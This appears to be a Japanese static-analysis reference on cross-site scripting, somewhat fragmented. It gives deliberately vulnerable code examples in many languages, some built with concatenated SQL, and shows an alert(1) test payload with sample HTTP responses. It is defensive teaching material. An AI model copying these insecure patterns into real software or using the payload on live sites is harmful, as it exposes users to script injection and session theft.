入力の検証や表現の問題は、メタキャラクター、代替エンコーディング、数値表現などによって引き起こされます。セキュリティの問題は、入力を信頼することに起因します。この問題に含まれるのは、「Buffer Overflow」、「Cross-Site Scripting」攻撃、「SQL Injection」などです。
text/htmlMIME タイプを指定する必要があります。したがって、XSS が可能になるのは、レスポンスがこの MIME タイプ、またはブラウザがレスポンスを HTML として、またはスクリプトを実行する可能性のあるその他のドキュメント（SVG イメージ (image/svg+xml) や XML ドキュメント (application/xml) など）としてレンダリングするように強制するその他のタイプを使用する場合のみです。 application/octet-stream のような MIME タイプのレスポンスが提供されても、HTML をレンダリングせず、スクリプトも実行しません。ただし、Internet Explorer などの一部のブラウザは、Content Sniffing と呼ばれる機能を実行します。Content Sniffing では、提供された MIME タイプが無視され、レスポンスの内容によって正しい MIME タイプを推測しようとします。text/htmlは、そのような MIME タイプの中で XSS の脆弱性を引き起こす可能性がある唯一の MIME タイプであることには注意が必要です。SVG イメージ (image/svg+xml) や XML ドキュメント (application/xml) など、スクリプトを実行する可能性があるその他のドキュメントは、ブラウザが Content Sniffing を実行するかどうかにかかわらず、XSS の脆弱性を引き起こす可能性があります。 <html><body><script>alert(1)</script></body></html> などのレスポンスは、その content-type ヘッダーが application/octet-stream、multipart-mixed などに設定されていても、HTML としてレンダリングできます。application/octet-stream レスポンスにユーザー データを反映します。
@RestController
public class SomeResource {
@RequestMapping(value = "/test", produces = {MediaType.APPLICATION_OCTET_STREAM_VALUE})
public String response5(@RequestParam(value="name") String name){
return name;
}
}
nameパラメータを <html><body><script>alert(1)</script></body></html> に設定してリクエストを送信すると、サーバは次のレスポンスを生成します。
HTTP/1.1 200 OK
Content-Length: 51
Content-Type: application/octet-stream
Connection: Closed
<html><body><script>alert(1)</script></body></html>
text/html MIME タイプを指定する必要があります。したがって、XSS が可能になるのは、レスポンスがこの MIME タイプ、またはブラウザがレスポンスを HTML として、またはスクリプトを実行する可能性のあるその他のドキュメント（SVG イメージ (image/svg+xml) や XML ドキュメント (application/xml) など）としてレンダリングするように強制するその他のタイプを使用する場合のみです。 application/json のような MIME タイプのレスポンスが提供されても、HTML をレンダリングせず、スクリプトも実行しません。ただし、Internet Explorer などの一部のブラウザは、Content Sniffing と呼ばれる機能を実行します。Content Sniffing では、提供された MIME タイプが無視され、レスポンスの内容によって正しい MIME タイプを推測しようとします。ただし、text/html は、そのような MIME タイプの中で XSS の脆弱性を引き起こす可能性がある唯一の MIME タイプであることには注意が必要です。SVG イメージ (image/svg+xml) や XML ドキュメント (application/xml) など、スクリプトを実行する可能性があるその他のドキュメントは、ブラウザが Content Sniffing を実行するかどうかにかかわらず、XSS の脆弱性を引き起こす可能性があります。 <html><body><script>alert(1)</script></body></html> などのレスポンスは、その content-type ヘッダーが application/json に設定されていても HTML としてレンダリングできます。application/json レスポンスにユーザー データを反映します。
def mylambda_handler(event, context):
name = event['name']
response = {
"statusCode": 200,
"body": "{'name': name}",
"headers": {
'Content-Type': 'application/json',
}
}
return response
name パラメーターを <html><body><script>alert(1)</script></body></html> に設定してリクエストを送信すると、サーバーは次のレスポンスを生成します。
HTTP/1.1 200 OK
Content-Length: 88
Content-Type: application/json
Connection: Closed
{'name': '<html><body><script>alert(1)</script></body></html>'}
eid を HTTP リクエストから読み取り、ユーザーに表示します。
String queryString = Window.Location.getQueryString();
int pos = queryString.indexOf("eid=")+4;
HTML output = new HTML();
output.setHTML(queryString.substring(pos, queryString.length()));
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。eid を URL から読み取ってユーザーに表示します。例 2: 次の HTML フォームを検討します。
<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid のテキスト入力からの従業員 ID に標準の英数字テキストのみが含まれる場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
let element = JSON.parse(getUntrustedInput());
ReactDOM.render(<App>
{element}
</App>);
Example 3 では、攻撃者が getUntrustedInput() から取得した JSON オブジェクト全体を制御できる場合、React が element をコンポーネントとしてレンダリングできるようにする可能性があります。そうして、独自の制御された値を持つ dangerouslySetInnerHTML を使用してオブジェクトを渡すことができます。これが一般的なクロスサイトスクリプティング攻撃です。
<SCRIPT>
var response = llm.invoke(user_prompt);
...
document.write(response);
</SCRIPT>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
Handlebars.registerHelper('bolden', function (aString) {
return new Handlebars.SafeString("" + aString + "")
})
// ...
let template = Handlebars.compile('{{bolden someArgument}}')
myElem.innerHTML = template({someArgument: userInput})
bolden ヘルパーには、ユーザー制御データ userInput が渡されます。二重中カッコ ({{ および }}) の使用は通常、出力が HTML としてエンコードされることを意味しますが、このシナリオでは、出力を new Handlebars.SafeString() に渡すことで、bolden ヘルパーはあらゆる検証をオーバーライドし、結果的に、入力は通常の HTML としてレンダリングされます。HTML が template() から戻ると、innerHTML プロパティに渡され、DOM ベースの XSS につながります。eid を HTTP リクエストから読み取ってユーザーに表示します。
String eid = Request["eid"];
...
EmployeeID.Text = eid;
EmployeeID は、次のように定義されるサーバー側の ASP.NET コントロールです。
<form runat="server">
...
<asp:Label id="EmployeeID" runat="server"/>
...
</form>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
string name = "";
using (SqlConnection conn = new SqlConnection(_ConnectionString))
{
string eid = Request["eid"];
SqlCommand cmd = new SqlCommand("SELECT * FROM emp WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", eid);
conn.Open();
SqlDataReader objReader = cmd.ExecuteReader();
while (objReader.Read())
{
name = objReader["name"];
}
objReader.Close();
}
...
EmployeeName.Text = name;
EmployeeName は、次のように定義されるサーバー側の ASP.NET コントロールです。
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server"/>
...
</form>
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。user を HTTP リクエストから読み取り、ユーザーに表示します。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user に標準の英数字テキストだけが含まれている場合に正しく動作します。user の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザーで攻撃者が悪意あるコマンドを実行することがあります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターに「ゲストブック」を提供している Web サイトで、次のような形式で開始されます。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険なコンテンツを入力させられてしまい、それがユーザーに送り返されて Web ブラウザーにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意あるコンテンツを実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりすることがあります。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。eid を HTTP リクエストから読み取ってユーザーに表示します。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。eid を HTTP サーブレット リクエストから読み取ってから、サーブレットのレスポンスでユーザーに値を表示します。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
...
@property (strong, nonatomic) NSString *webContentFromURL;
...
- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
...
[self setWebContentFromURL:[url host]];
...
...
...
@property (strong, nonatomic) WKWebView *webView;
...
AppDelegate *appDelegate = (AppDelegate *)[[UIApplication sharedApplication] delegate];
...
[_webView loadHTMLString:appDelegate.webContentFromURL] baseURL:nil];
...
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView loadHTMLString:_inputTextField.text baseURL:nil];
...
inputTextField 内のテキストに標準の英数字テキストのみが含まれる場合は問題なく動作します。inputTextField 内のテキストにメタ文字またはソースコードが含まれる場合、入力は HTTP レスポンスを表示するときに Web ブラウザによってコードとして実行されます。
...
@property (strong, nonatomic) WKWebView *webView;
...
NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
NSEntityDescription *entity = [NSEntityDescription entityForName:@"Employee" inManagedObjectContext:context];
[fetchRequest setEntity:entity];
NSArray *fetchedObjects = [context executeFetchRequest:fetchRequest error:&error];
for (NSManagedObject *info in fetchedObjects) {
NSString msg = @"Hello, " + [info valueForKey:@"name"];
[_webView loadHTMLString:msg baseURL:nil]
...
}
...
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 では、ターゲット アプリケーション外部のソースが、ターゲット アプリケーションのカスタム URL スキームを使用して URL リクエストを作成し、続いて URL リクエストによる未検証のデータが信頼されるデータとしてアプリケーションに再び読み込まれ、動的コンテンツに含まれます。Example 2 では、ユーザー制御可能な UI コンポーネントからデータを直接読み取り、HTTP レスポンスに反映します。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = WKWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
loadHTMLString: に渡される文字列はユーザー制御可能で、JavaScript は既定で WKWebView 内で有効になるので、ユーザーは任意のコンテンツ (実行可能なスクリプトを含む) を、アプリのカスタム URL スキームを使用するリクエストによって WKWebView に書き込むことができます。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 内のテキストに標準の英数字テキストのみが含まれる場合は問題なく動作します。inputTextField 内のテキストにメタ文字またはソースコードが含まれる場合、入力は HTTP レスポンスを表示するときに Web ブラウザによってコードとして実行されます。
let fetchRequest = NSFetchRequest()
let entity = NSEntityDescription.entityForName("Employee", inManagedObjectContext: managedContext)
fetchRequest.entity = entity
do {
let results = try managedContext.executeFetchRequest(fetchRequest)
let result : NSManagedObject = results.first!
let name : String = result.valueForKey("name")
let msg : String = "Hello, \(name)"
let webView : UIWebView = UIWebView()
webView.loadHTMLString(msg, baseURL:nil)
} catch let error as NSError {
print("Error \(error)")
}
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 では、ターゲット アプリケーション外部のソースが、ターゲット アプリケーションのカスタム URL スキームを使用して URL リクエストを作成し、続いて URL リクエストによる未検証のデータが信頼されるデータとしてアプリケーションに再び読み込まれ、動的コンテンツに含まれます。Example 2 では、ユーザー制御可能な UI コンポーネントからデータを直接読み取り、HTTP レスポンスに反映します。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
<script runat="server">
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
</script>
EmployeeName は、次のように定義されるフォーム コントロールです。例 2: 次の ASP.NET コードセグメントは、
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 1 と機能的には同じですが、すべてのフォーム要素をプログラミングによって実装しています。
protected System.Web.UI.WebControls.Label EmployeeName;
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
Name の値の動作が適切であればこれらのコード例は正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。Name の値はクラウド提供のストレージ サービスから読み込まれており、その内容は分散アプリケーションによって管理されているように見えるからです。ただし、Name の値がユーザーの入力したデータに由来する場合は、クラウド提供のストレージ サービスが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。コンポーネント間通信クラウドの XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login および EmployeeID は、次のように定義されるフォーム コントロールです。例 4: 次の ASP.NET コードセグメントは、
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 3 をプログラミングで実装する方法を示しています。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Example 1 や Example 2 のような例では、Login に標準の英数字テキストだけが含まれている場合に正しく動作します。Login の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 および Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。コンポーネント間通信クラウド XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 や Example 4 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。eid を HTTP リクエストから読み取り、ユーザーに表示します。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
